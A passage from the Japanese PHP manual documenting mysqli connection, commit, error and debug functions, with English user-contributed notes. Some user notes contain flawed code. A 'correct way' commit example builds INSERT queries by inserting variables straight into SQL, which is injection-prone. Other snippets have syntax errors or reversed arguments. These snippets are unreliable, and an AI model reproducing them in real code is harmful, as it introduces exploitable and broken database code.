  • mysqli_client_encoding()
  • mysqli_real_escape_string() - 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする

User Contributed Notes

There are no user contributed notes for this page.


事前にオープンしているデータベース接続を閉じる

  • ≪ mysqli::character_set_name
  • mysqli::commit ≫
  • PHP Manual
  • mysqli
  • 事前にオープンしているデータベース接続を閉じる

mysqli::close

mysqli_close

(PHP 5, PHP 7)

mysqli::close -- mysqli_close — 事前にオープンしているデータベース接続を閉じる

説明

オブジェクト指向型

public mysqli::close ( ) : bool

手続き型

mysqli_close ( mysqli $link ) : bool

既に開いているデータベース接続を閉じます。

持続的でない MySQL 接続や結果セットは、PHP スクリプトの実行が終了する時点で自動的に破棄されます。 そのため、オープンした接続をクローズしたり結果セットを開放したりすることは必須ではありませんが、 そうしておくことを推奨します。 その時点ですぐに PHP や MySQL にリソースを返せ、パフォーマンスの向上につながるからです。 関連する除法は リソースの開放を参照ください。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

mysqli_connect() を参照ください。

注意

注意:

mysqli_close() は、持続的な接続を閉じません。 詳細な情報は、マニュアルの 持続的データベース接続を参照ください。

参考

  • mysqli::__construct() - 新規に MySQL サーバーへの接続をオープンする
  • mysqli_init() - MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする
  • mysqli_free_result() - 結果に関連付けられたメモリを開放する

User Contributed Notes

PD 03-Jan-2019 02:12
Note with Francis' example, using the function name link() will throw an error at runtime as it is already a function within the language. see: http://php.net/manual/en/function.link.php
Francois 30-May-2018 04:22
Since a lot of manual examples recommend to use a variable to initiate your connection, it is interesting to know that mysqli_close() will unset that variable, causing further connection attempts to fail.
ex:

$link = mysqli_connect($host, $user, $pw);

if ($link) {
    // Database is reachable
    mysqli_close($link);
}

if ($link) {
    // Database unreachable because $link = NULL
}

Easiest solution for me is to initiate connection through a function.
ex:

function link() {
    global $host;
    global $user;
    global $pw;
    global $link;
    $link = mysqli_connect($host, $user, $pw);
}

link();
// Database is reachable
mysqli_close($link)
link();
// Database is reachable
mysqli_close($link)
php at dafydd dot com 07-Nov-2008 01:03
I've had situations where database connections appeared to persist following php execution. So, now, my __destructor function explicitly contains a $cxn->close(). It hurts nothing, and helps avoid memory leaks.


現在のトランザクションをコミットする

  • ≪ mysqli::close
  • mysqli::$connect_errno ≫
  • PHP Manual
  • mysqli
  • 現在のトランザクションをコミットする

mysqli::commit

mysqli_commit

(PHP 5, PHP 7)

mysqli::commit -- mysqli_commit — 現在のトランザクションをコミットする

説明

オブジェクト指向型

public mysqli::commit ( int $flags = 0 , string $name = ? ) : bool

手続き型

mysqli_commit ( mysqli $link , int $flags = 0 , string $name = ? ) : bool

データベース接続の現在のトランザクションをコミットします。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

flags

定数 MYSQLI_TRANS_COR_* のビットマスク。

name

指定した場合は、COMMIT/*name*/ を実行します。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、トランザクションに 対応していないテーブル型（MyISAM あるいは ISAM など）では 動作しません。

例

mysqli::begin_transaction() の例 を参照して下さい。

参考

  • mysqli_autocommit() - データベース更新の自動コミットをオンまたはオフにする
  • mysqli_begin_transaction() - トランザクションを開始する
  • mysqli_rollback() - 現在のトランザクションをロールバックする
  • mysqli_savepoint() - トランザクションのセーブポイントを設定する

User Contributed Notes

zattechnology at gmail dot com 15-May-2019 02:23
When you have alot of transactions to make, say you are applying inserting items to the database from a loop, it will be better to use the mysqli_commit for this kind of process as it will only hit the database once.

//Wrong way
Example 1:

$con = mysqli_connect("host", "username", "password", "database") or die("Could not establish connection to database");

$users = ["chris", "james", "peter", "mark", "joe", "alice", "bob"]

for($i=0; $i<count($users); $i++){
       $user= $users[$i];
       $query = mysqli_query($con, "INSERT INTO users (username) VALUES ('$user') ");
}

//Correct Way
Example 2

$con = mysqli_connect("host", "username", "password", "database") or die("Could not establish connection to database");

$users = ["chris", "james", "peter", "mark", "joe", "alice", "bob"]

//Turn off autocommit
mysqli_autocommit($con, FALSE)

//Make some transactions
for($i=0; $i<count($users); $i++){
     $user= $users[$i];
     $query = mysqli_query($con, "INSERT INTO users (username) VALUES ('$user') ");
}

//Make a one-time hit to the database
mysqli_commit($con)

As with the Example 1, since we had 7 items in the list, this means that their will be a 7 times hit to our database which can really affect performance. But with the Example 2, since we already turned off autocommit this means that the transactions will be queued ontill will explicitly call mysqli_commit($con)
NoMan2000 27-May-2015 02:51
This is to clarify the Flags parameters and what they mean:

MYSQLI_TRANS_COR_AND_CHAIN:

Appends "AND CHAIN" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_AND_NO_CHAIN:

Appends "AND NO CHAIN" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_RELEASE:

Appends "RELEASE" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_NO_RELEASE:

Appends "NO RELEASE" to mysqli_commit or mysqli_rollback.

To clarify those options:

The AND CHAIN clause causes a new transaction to begin as soon as the current one ends, and the new transaction has the same isolation level as the just-terminated transaction.

The RELEASE clause causes the server to disconnect the current client session after terminating the current transaction.
snchzantonio at gmail dot com 16-Aug-2013 05:38
I never recomend to use the ? with only one value variant like: $var = expression ? $var  : other_value or $var = expression ? null  : other_value ,and php suport Exception catchin so,use it :)

here my opinion abut lorenzo's post:

  <?php

//variants combined

$mysqli->autocommit(FALSE);

try{

  $mysqli->query("INSERT INTO myCity (id) VALUES (100)") or throw new Exception('error!');

// or we can use

  if( !$mysqli->query("INSERT INTO myCity (id) VALUES (200)"){
    throw new Exception('error!');
  }

}catch( Exception $e ){
  $mysqli->rollback();
}
$mysqli->commit();

?>
Bob Johnson 10-Sep-2009 10:42
The compactness of Lorenzo's code is admirable.
However, it is a good idea to also check  $mysqli->affected_rows to make sure that the INSERT statement did not fail.

<?php
$result_query = @mysqli_query($query, $connect);
                if (($result_query == false) &&
                   (mysqli_affected_rows($connect) == 0))
                 {
                    // verify the query executed completely and verify that it
                    // had impact on the table

                    $success = false;

                    // here also, the developer could choose to add a ROLLBACK
                    // statement
                }
?>
mvanlamz 31-Mar-2009 11:36
Please note that calling mysqli::commit() will NOT automatically set mysqli::autocommit() back to 'true'.

This means that any queries following mysqli::commit() will be rolled back when your script exits.
Lorenzo - webmaster AT 4tour DOT it 11-Feb-2009 03:12
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


直近の接続コールに関するエラーコードを返す

  • ≪ mysqli::commit
  • mysqli::$connect_error ≫
  • PHP Manual
  • mysqli
  • 直近の接続コールに関するエラーコードを返す

mysqli::$connect_errno

mysqli_connect_errno

(PHP 5, PHP 7)

mysqli::$connect_errno -- mysqli_connect_errno — 直近の接続コールに関するエラーコードを返す

説明

オブジェクト指向型

static int $mysqli->connect_errno;

手続き型

mysqli_connect_errno ( ) : int

直近の mysqli_connect() コールのエラー番号を返します。

注意:

クライアントのエラーメッセージ番号は MySQL の errmsg.h ヘッダファイルで、そしてサーバーのエラーメッセージ番号は mysqld_error.h で定義されています。MySQL のソース配布の中には、エラーメッセージの 完全なリストが Docs/mysqld_error.txt に含まれています。

返り値

直近の mysqli_connect() コールが失敗した場合、 エラーコードを返します。ゼロは、何もエラーが発生しなかったことを示します。

例

例1 $mysqli->connect_errno の例

オブジェクト指向型

<?php
$mysqli = @new mysqli('localhost', 'fake_user', 'my_password', 'my_db');

if ($mysqli->connect_errno) {
    die('Connect Error: ' . $mysqli->connect_errno);
}
?>

手続き型

<?php
$link = @mysqli_connect('localhost', 'fake_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error: ' . mysqli_connect_errno());
}
?>

上の例の出力は以下となります。

Connect Error: 1045

参考

  • mysqli_connect() - mysqli::__construct のエイリアス
  • mysqli_connect_error() - 直近の接続エラーの内容を文字列で返す
  • mysqli_errno() - 直近の関数コールによるエラーコードを返す
  • mysqli_error() - 直近のエラーの内容を文字列で返す
  • mysqli_sqlstate() - 直前の MySQL の操作での SQLSTATE エラーを返す

User Contributed Notes

till at etill dot net 11-Mar-2016 09:26
As of 5.5.9, connect_errno will not show an error if the host or the user (or both) are empty strings, so such cases have to be accounted for separately.
Daro AP 05-Aug-2014 08:16
'errmsg.h' and 'mysqld_error.h' files only have the definitions of the error codes. In the MySQL documentation you can find the definition along with the message it displays, which could be more useful since the error constant name isn't always explicit enough.

Client Error Codes and Messages
http://dev.mysql.com/doc/refman/5.6/en/error-messages-client.html

Server Error Codes and Messages
http://dev.mysql.com/doc/refman/5.6/en/error-messages-server.html


直近の接続エラーの内容を文字列で返す

  • ≪ mysqli::$connect_errno
  • mysqli::__construct ≫
  • PHP Manual
  • mysqli
  • 直近の接続エラーの内容を文字列で返す

mysqli::$connect_error

mysqli_connect_error

(PHP 5, PHP 7)

mysqli::$connect_error -- mysqli_connect_error — 直近の接続エラーの内容を文字列で返す

説明

オブジェクト指向型

static string $mysqli->connect_error;

手続き型

mysqli_connect_error ( ) : string

mysqli_connect() が指すデータベースの 直近のエラーについての文字列表現を返します。

返り値

エラーの内容を表す文字列を返します。エラーが発生しなかった場合は null を返します。

例

例1 $mysqli->connect_error の例

オブジェクト指向型

<?php
$mysqli = @new mysqli('localhost', 'fake_user', 'my_password', 'my_db');

if ($mysqli->connect_error) {
    die('Connect Error: ' . $mysqli->connect_error);
}
?>

手続き型

<?php
$link = @mysqli_connect('localhost', 'fake_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error: ' . mysqli_connect_error());
}
?>

上の例の出力は以下となります。

Connect Error: Access denied for user 'fake_user'@'localhost' (using password: YES)

参考

  • mysqli_connect() - mysqli::__construct のエイリアス
  • mysqli_connect_errno() - 直近の接続コールに関するエラーコードを返す
  • mysqli_errno() - 直近の関数コールによるエラーコードを返す
  • mysqli_error() - 直近のエラーの内容を文字列で返す
  • mysqli_sqlstate() - 直前の MySQL の操作での SQLSTATE エラーを返す

User Contributed Notes

gejez at polyswarms dot com 05-Oct-2018 10:38
<?php

    class bDBresult {
        private $result;

        public function __construct($res) {
            $this->result = $res;
        }

        public function num_rows() {
            return $this->result->num_rows;
        }

        public function next_row() {
            return $this->result->fetch_assoc();
        }

    }

    class bDB {
        private static $conf;
        private $conn;

        public static function set_conf_file($dbconf_path) {
            self::$conf = parse_ini_file($dbconf_path);
        }

        public function __construct() {
            $this->conn = new mysqli(
                self::$conf['db.host.address'],
                self::$conf['db.user.admin.name'],
                self::$conf['db.user.admin.password'],
                self::$conf['db.bibliotecando.name']
            );
        }

        public function send_query($coms) {
            return new bDBresult($this->conn->query($coms));
        }

    }

?>


新規に MySQL サーバーへの接続をオープンする

  • ≪ mysqli::$connect_error
  • mysqli::debug ≫
  • PHP Manual
  • mysqli
  • 新規に MySQL サーバーへの接続をオープンする

mysqli::__construct

mysqli::connect

mysqli_connect

(PHP 5, PHP 7)

mysqli::__construct -- mysqli::connect -- mysqli_connect — 新規に MySQL サーバーへの接続をオープンする

説明

オブジェクト指向型

public mysqli::__construct
 ( string $host = ini_get("mysqli.default_host")
, string $username = ini_get("mysqli.default_user")
, string $passwd = ini_get("mysqli.default_pw")
, string $dbname = ""
, int $port = ini_get("mysqli.default_port")
, string $socket = ini_get("mysqli.default_socket")
)
public mysqli::connect
 ( string $host = ini_get("mysqli.default_host")
, string $username = ini_get("mysqli.default_user")
, string $passwd = ini_get("mysqli.default_pw")
, string $dbname = ""
, int $port = ini_get("mysqli.default_port")
, string $socket = ini_get("mysqli.default_socket")
) : void

手続き型

mysqli_connect
 ( string $host = ini_get("mysqli.default_host")
, string $username = ini_get("mysqli.default_user")
, string $passwd = ini_get("mysqli.default_pw")
, string $dbname = ""
, int $port = ini_get("mysqli.default_port")
, string $socket = ini_get("mysqli.default_socket")
) : mysqli|false

MySQL サーバーへの接続をオープンします。

パラメータ

host

ホスト名または IP アドレスです。この引数に null または "localhost" を渡すと ローカルホストとみなされます。可能な場合は、TCP/IP プロトコルの代わりに パイプが使用されます。 ホスト名とポートが一緒に指定された場合は、TCP/IP プロトコルが使われます。 例: localhost:3308.

ホストの前に p: をつけると、持続的な接続を開きます。 接続プールから開いた接続上で mysqli_change_user() が自動的にコールされます。

username

MySQL のユーザー名。

passwd

省略したり null を渡したりした場合、MySQL サーバーは パスワードを持たないユーザーレコードについてのみ認証を試みます。 これによってひとつのユーザー名において(パスワードが指定されたか 否かによって)違うパーミッションを与えることができます。

dbname

指定した場合は、 クエリが行われるデフォルトのデータベースとなります。

port

MySQL サーバーに接続する際のポート番号を指定します。

socket

使用するソケットあるいは名前つきパイプを指定します。

注意:

socket 引数を指定しても、MySQL サーバーへの 接続時の型を明示的に定義することにはなりません。MySQL サーバーへの 接続方法については host 引数で定義されます。

返り値

mysqli::__construct() は、成功、失敗に関わらず、MySQL サーバへの接続を表すオブジェクトを常に返します。

mysqli_connect() は、 MySQL サーバへの接続を表すオブジェクトを返します。 失敗した場合に false を返します.

mysqli::connect() は、成功した場合に null を返します。 失敗した場合に false を返します.

エラー / 例外

MYSQLI_REPORT_STRICT が有効になっており、 かつ、データベースへの接続が失敗した場合は、 mysqli_sql_exception がスローされます。

例

例1 mysqli::__construct() の例

オブジェクト指向型

<?php

/* You should enable error reporting for mysqli before attempting to make a connection */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');

/* Set the desired charset after establishing a connection */
$mysqli->set_charset('utf8mb4');

printf("Success... %s\n", $mysqli->host_info);

手続き型

<?php

/* You should enable error reporting for mysqli before attempting to make a connection */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

/* Set the desired charset after establishing a connection */
mysqli_set_charset($mysqli, 'utf8mb4');

printf("Success... %s\n", mysqli_get_host_info($mysqli));

上の例の出力は、 たとえば以下のようになります。

Success... localhost via TCP/IP

例2 mysqli クラスを拡張する

<?php

class FooMysqli extends mysqli {
    public function __construct($host, $user, $pass, $db, $port, $socket, $charset) {
        mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
        parent::__construct($host, $user, $pass, $db, $port, $socket);
        $this->set_charset($charset);
    }
}

$db = new FooMysqli('localhost', 'my_user', 'my_password', 'my_db', 3306, null, 'utf8mb4');

例3 手動によるエラーハンドリング

エラーの報告機能が無効になっている場合、 開発者がエラーのチェックとエラー処理を行う必要があります。

オブジェクト指向型

<?php

error_reporting(0);
mysqli_report(MYSQLI_REPORT_OFF);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');
if ($mysqli->connect_errno) {
    throw new RuntimeException('mysqli connection error: ' . $mysqli->connect_error);
}

/* Set the desired charset after establishing a connection */
$mysqli->set_charset('utf8mb4');
if ($mysqli->errno) {
    throw new RuntimeException('mysqli error: ' . $mysqli->error);
}

手続き型

<?php

error_reporting(0);
mysqli_report(MYSQLI_REPORT_OFF);
$mysqli = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');
if (mysqli_connect_errno()) {
    throw new RuntimeException('mysqli connection error: ' . mysqli_connect_error());
}

/* Set the desired charset after establishing a connection */
mysqli_set_charset($mysqli, 'utf8mb4');
if (mysqli_errno($mysqli)) {
    throw new RuntimeException('mysqli error: ' . mysqli_error($mysqli));
}

注意

注意:

MySQLnd は常に、サーバーのデフォルト文字セットを想定しています。この文字セットは接続時の ハンドシェイク/認証 のときに送信され、これを mysqlnd が使います。

Libmysqlclient が使うデフォルトの文字セットは my.cnf で設定したものです。あるいは明示的に mysqli_options() をコールして設定することもできます。 これは、mysqli_init() のあとで mysqli_real_connect() を実行する前にコールします。

注意:

オブジェクト指向型 に関する注意: 接続に失敗した場合にもオブジェクトが返されます。 接続が失敗したかどうかを確かめるには、先ほどの例のように mysqli_connect_error() 関数あるいは mysqli->connect_error プロパティを使用しましょう。

注意:

接続タイムアウトなどのオプションを設定する必要がある場合は、かわりに mysqli_real_connect() を使わなければなりません。

注意:

コンストラクタをパラメータなしでコールするのは、 mysqli_init() をコールするのと同じ意味になります。

注意:

エラー "Can't create TCP/IP socket (10106)" が発生するのは、たいていは variables_order 設定ディレクティブに E が含まれていない場合です。 Windows では、これが含まれていなければ SYSTEMROOT 環境変数が使用できず、PHP が Winsock の読み込みに失敗します。

参考

  • mysqli_real_connect() - mysql サーバーとの接続をオープンする
  • mysqli_options() - オプションを設定する
  • mysqli_connect_errno() - 直近の接続コールに関するエラーコードを返す
  • mysqli_connect_error() - 直近の接続エラーの内容を文字列で返す
  • mysqli_close() - 事前にオープンしているデータベース接続を閉じる

User Contributed Notes

powtac at gmx de 11-Jul-2018 04:25
Be careful, mysqli_connect() does not return a resource ! It returns an instance of the mysqli class (http://php.net/manual/class.mysqli.php) The old mysql_connect() function did return a resource.
php at haravikk dot me 01-Oct-2017 06:58
Just wanted to add a note for anyone looking to use the MySQLi persistent connections feature; it's important to note that PHP opens and retains one connection per database user per process.

What this means is that if you are hosting multiple applications, each with its own database user (as is good practice) then you will end up multiplying the number of connections that PHP may hold open.

For example, if you have PHP configured with a maximum of eight worker processes, and you regularly use four different database users, then your MySQL server will need to accept at LEAST a maximum of 32 connections, or else it will run out.

However, if you would like to minimise the number of connections, what you can do is instead is to open the connection using a "guest" user (with no privileges except logging in) and then use ->change_user() to switch to a more privileged user, before switching back to the guest when you're done. Since all of the connections would therefore belong to the guest user, PHP should only maintain one per worker process.
chris at ocproducts dot com 21-Apr-2017 05:46
There's a separate port parameter, unlike mysql_connect. However, using host:port on the host parameter does actually work.

There is a caveat. If the host is 'localhost' then the port is ignored, whether you use a port parameter or the implicit syntax I mentioned above. This is because 'localhost' will make it use unix sockets rather than TCP/IP.
PaulieG 02-Feb-2016 06:31
It should be noted that on PHP 7 (v7.0.2 at least), passing the empty string '' for the Port argument while connecting to 'localhost' will prevent the connection from being successful altogether.

To work around this, use 'null'.
till at etill dot net 14-Dec-2015 10:02
Note that if the user name is an empty string, like so:

<?php
    mysqli( 'localhost', '', 'password', 'database');
?>

then the object returned will have connect_errno=0 (as of PHP 5.5.9). And, as noted elsewhere here, the same applies to the host name.
till at etill dot net 18-Nov-2015 09:08
Note that if the host name is an empty string, like so:

<?php
    mysqli( '', 'user', 'password', 'database');
?>

then the object returned will have connect_errno=0 (as of PHP 5.5.9).
webmaster at aryes dot fr 18-Jul-2015 06:58
A friend of mine encountered a sudden bug with CMS Piwigo. I discovered that :
- He had a hosting rule to use PHP 5.6.
- The hoster uses 5.6.6, verified using phpinfo();.
- The CMS declared a database name parameter as null.

That gallery CMS was unable to connect to MySQL and left only a warning message about it.

We tried to revert back to PHP 5.5, the CMS worked again.

Then we switched back to 5.6.6 and changed those lines :

  $dbname = null;

  $mysqli = new mysqli($host, $user, $password, $dbname, $port, $socket);

to

  $dbname = ''; // Use an empty string, not null

  $mysqli = new mysqli($host, $user, $password, $dbname, $port, $socket);

It worked!

So if you made the same mistake, using null where the manual invites to use an empty string, you should consider correcting your code.
Ben 03-Mar-2015 11:28
A far more secure and language independent way of connecting to mysql is to use the READ_DEFAULT_FILE options. This passes the workload over to the mysql library, which allows for the configuration file itself to be outside of the scope of the language.

The config file itself is something like this:
[client]
user=user_u
password=user_password
host=dbhost
port=3306
database=the_database
default-character-set=utf8

The following code fragment (in OO mysql_i format)

$sqlconf='/var/private/my.cnf';
$sql = new mysqli;
$sql->init();
$sql->options(MYSQLI_READ_DEFAULT_FILE,$sqlconf);
$sql->real_connect();
linguafranca2003 at yahoo dot com 28-Nov-2014 05:21
mysqli can succeed in surprising ways, depending on the privileges granted to the user. For example,

GRANT USAGE ON *.* TO 'myuser'@'localhost' IDENTIFIED BY PASSWORD 'mypassword';
GRANT ALL PRIVILEGES ON `database_a`.* TO 'myuser'@'localhost';
CREATE DATABASE database_b;

<?php
$db = new mysqli('localhost', 'myuser', 'mypassword', 'database_b');

if ($db->connect_error) {
        die('Connect Error (' . $db->connect_errno . ') '
            . $mysqli->connect_error);
}

printf("SQLSTATE: %s\n", $this->db->sqlstate);
printf("Warning Count: %s\n", $db->warning_count);
$db->close();
?>

Will output:

SQLSTATE: 00000
Warning Count: 0

So, life is good — you're connected to the database and executing mysqli methods. Except, life isn't good, because you aren't actually using database_b because myuser doesn't have any privileges on it. You won't catch this until you try to perform a later operation, when you'll get an error, "MYSQL Error: No database selected", and find yourself scratching your head and thinking "what do you mean, of course I have a database selected; I selected one when I called the constructor".

As a result, you may want to perform an additional check after connecting to mysql, to confirm that you're actually connected not just to the mysql server, but to the actual database:

<?php
$db = new mysqli('localhost', 'myuser', 'mypassword', 'database_b');

if ($db->connect_error) {
        die('Connect Error (' . $db->connect_errno . ') '
            . $mysqli->connect_error);
} elseif ($result = $db->query("SELECT DATABASE()")) {
        $row = $result->fetch_row();
        if ($row[0] != 'database_b') {
                //oops! We're connected to mysql, but not to database_b
        }
}
?>
andres at 21brains dot com 03-Jun-2014 09:39
Please do use set_charset("utf8") after establishing the connection if you want to avoid weird string issues. I do not know why the documentation does not warn you about this kind of stuff.

We had a hard time figuring out what was going on since we were using mb_detect_encoding and it said everything was UTF-8, but of course the display was wrong. If we used iconv from ISO-8859-1 to UTF-8 the strings looked fine, even though everything in the database had the right collation. So in the end, it was the connection that was the filter and although the notes for this function mention default charsets, it almost reads as a sidenote instead of a central issue when dealing with UTF and PHP/MySQL.
fugyl13 at gmail dot com 01-Apr-2014 04:41
Note that on all >=Windows 7 Servers, a host name "localhost" will create a very expensive lookup (~1 Second).

That's because since Windows 7, the hosts file doesn't come with a preconfigured
127.0.0.1 localhost
anymore

So, if you notice a long connection creation, try "127.0.0.1" instead.
paul at mtnlist dot com 02-Jun-2013 08:19
If you want to connect via an alternate port (other than 3306), as you might when using an ssh tunnel to another host, using "localhost" as the hostname will not work.

Using 127.0.0.1 will work.  Apparently, if you specify the host as "localhost", the constructor ignores the port specified as an argument to the constructor.
oleg at mastak dot fi 19-Apr-2013 01:02
If you want to connect to local named pipe on windows and you get error "php_network_getaddresses: getaddrinfo failed: No such host is known. ", even if you using using "." as host, please check your if you are using mysqlnd driver: If this is true, then probably you need to update to version 5.4 of php:

Named pipes support for Windows was added in PHP version 5.4.0.
@ http://php.net/manual/en/mysqlnd.overview.php

Hopefully that will save you some time.
Anonymous 13-Sep-2009 05:37
If you get an error like
  Can't connect to MySQL server on 'localhost' (10061)
and you use named pipes/socket connections (or aren't sure how you installed the MySQL server) try the following connect command:

<?php
mysqli_connect('.', $user_name, $password, $database_name, null, 'mysql');
?>

The '.' as hostname is absolutely necessary when using named pipes. 'localhost' won't work. 'mysql' is the standard name for the pipe/socket.


デバッグ操作を行う

  • ≪ mysqli::__construct
  • mysqli::dump_debug_info ≫
  • PHP Manual
  • mysqli
  • デバッグ操作を行う

mysqli::debug

mysqli_debug

(PHP 5, PHP 7)

mysqli::debug -- mysqli_debug — デバッグ操作を行う

説明

オブジェクト指向型

public mysqli::debug ( string $message ) : bool

手続き型

mysqli_debug ( string $message ) : bool

Fred Fish debugging library を使用してデバッグを行います。

パラメータ

message

実行するデバッグ操作を表す文字列。

返り値

Returns true.

注意

注意:

mysqli_debug() 関数を使用するには、 MySQL クライアントライブラリを、デバッグ機能を有効にしてコンパイルする 必要があります。

例

例1 トレースファイルの作成

<?php

/* ローカル（クライアント）マシンの '/tmp/client.trace' に
   トレースファイルを作成します */
mysqli_debug("d:t:o,/tmp/client.trace");

?>

参考

  • mysqli_dump_debug_info() - デバッグ情報をログに出力する
  • mysqli_report() - mysqli_driver->report_mode のエイリアス

User Contributed Notes

Domenic 14-May-2018 10:17
Looks like this manual could be referred to:

http://tiebing.blogspot.com.au/2011/10/cc-dbug-library.html

(I haven't tested it)
riversnowchang at gmail dot com 03-Jan-2018 02:42
Here are the information about debug options on mysqli_debug()

O,o:MYSQLND_DEBUG_FLUSH
A,a:MYSQLND_DEBUG_APPEND
F:MYSQLND_DEBUG_DUMP_FILE
L:MYSQLND_DEBUG_DUMP_LINE
m:MYSQLND_DEBUG_TRACE_MEMORY_CALLS
n:MYSQLND_DEBUG_DUMP_LEVEL
o:output to file
T:MYSQLND_DEBUG_DUMP_TIME
t:MYSQLND_DEBUG_DUMP_TRACE
x:MYSQLND_DEBUG_PROFILE_CALLS
f:? still investigating

For example, mysqli_debug("T:n:t:m:x:F:L:o,/tmp/client.trace");
mysqlnd will write Time, Level, trace, memory calls, profile calls, File, Line to client.trace file.

22:35:42.704501 ../mysqlnd_connection.c:  269   0:>mysqlnd_connection_init
22:35:42.704538 ../mysqlnd_driver.c:   10   1:| >mysqlnd_driver::get_connection
22:35:42.704549 ../mysqlnd_driver.c:   10   2:| | info : persistent=1
22:35:42.704558 ../mysqlnd_alloc.c:   21   2:| | >_mysqlnd_pecalloc
22:35:42.704570 ../mysqlnd_alloc.c:   23   2:| | <_mysqlnd_pecalloc (total=3 own=3 in_calls=0)
22:35:42.704602 ../mysqlnd_alloc.c:   21   2:| | >_mysqlnd_pecalloc
22:35:42.704626 ../mysqlnd_alloc.c:   23   2:| | <_mysqlnd_pecalloc (total=2 own=2 in_calls=0)
22:35:42.704650 ../mysqlnd_connection.c:   15   2:| | >mysqlnd_error_info_init
22:35:42.704675 ../mysqlnd_connection.c:   10   3:| | | >mysqlnd_error_info::reset
22:35:42.704697 ../mysqlnd_connection.c:   10   3:| | | <mysqlnd_error_info::reset (total=1 own=1 in_calls=0)
22:35:42.704725 ../mysqlnd_connection.c:   16   2:| | <mysqlnd_error_info_init (total=51 own=50 in_calls=1)
22:35:42.704744 ../mysqlnd_connection.c:   21   2:| | >mysqlnd_connection_state_init

If there is anything wrong, please let me know.
Peter 10-May-2014 10:59
can there be more documenation with a small (but working) example script on how to use this ?

Some issues  (Ive seen the "same" code example in dozens of tutorials):-

( I'll use capitals for emphasis only)

QUESTION: what does D:T:O mean ? UNEXPLAINED.

QUESTION: Do we *ONLY* use these 3 lines in a self-contained script ? Does this log ALL future MYSQL commands ?

QUESTION :- Do we put that one line just

- immediately after we connect to MYSQL ?
- before we connect to MYSQL ?
- before our suspected error ?


デバッグ情報をログに出力する

  • ≪ mysqli::debug
  • mysqli::$errno ≫
  • PHP Manual
  • mysqli
  • デバッグ情報をログに出力する

mysqli::dump_debug_info

mysqli_dump_debug_info

(PHP 5, PHP 7)

mysqli::dump_debug_info -- mysqli_dump_debug_info — デバッグ情報をログに出力する

説明

オブジェクト指向型

public mysqli::dump_debug_info ( ) : bool

手続き型

mysqli_dump_debug_info ( mysqli $link ) : bool

この関数は SUPER 権限を持ったユーザーによって実行されるされることを 想定しており、link で指定した接続に関連する MySQL サーバーのデバッグ情報をログに出力します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysqli_debug() - デバッグ操作を行う

User Contributed Notes

There are no user contributed notes for this page.


直近の関数コールによるエラーコードを返す

  • ≪ mysqli::dump_debug_info
  • mysqli::$error_list ≫
  • PHP Manual
  • mysqli
  • 直近の関数コールによるエラーコードを返す

mysqli::$errno

mysqli_errno

(PHP 5, PHP 7)

mysqli::$errno -- mysqli_errno — 直近の関数コールによるエラーコードを返す

説明

オブジェクト指向型

int $mysqli->errno;

手続き型

mysqli_errno ( mysqli $link ) : int

直近の MySQLi 関数のコールが成功あるいは失敗した際のエラーコードを返します。

クライアントのエラーメッセージ番号は MySQL の errmsg.h ヘッダファイルで、そしてサーバーのエラーメッセージ番号は mysqld_error.h で定義されています。MySQL のソース配布の中には、エラーメッセージの 完全なリストが Docs/mysqld_error.txt に含まれています。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

直近のコールが失敗した場合、エラーコードを返します。 ゼロは、何もエラーが発生しなかったことを示します。

例

例1 $mysqli->errno の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errorcode: %d\n", $mysqli->errno);
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errorcode: %d\n", mysqli_errno($link));
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Errorcode: 1193

参考

  • mysqli_connect_errno() - 直近の接続コールに関するエラーコードを返す
  • mysqli_connect_error() - 直近の接続エラーの内容を文字列で返す
  • mysqli_error() - 直近のエラーの内容を文字列で返す
  • mysqli_sqlstate() - 直前の MySQL の操作での SQLSTATE エラーを返す

User Contributed Notes

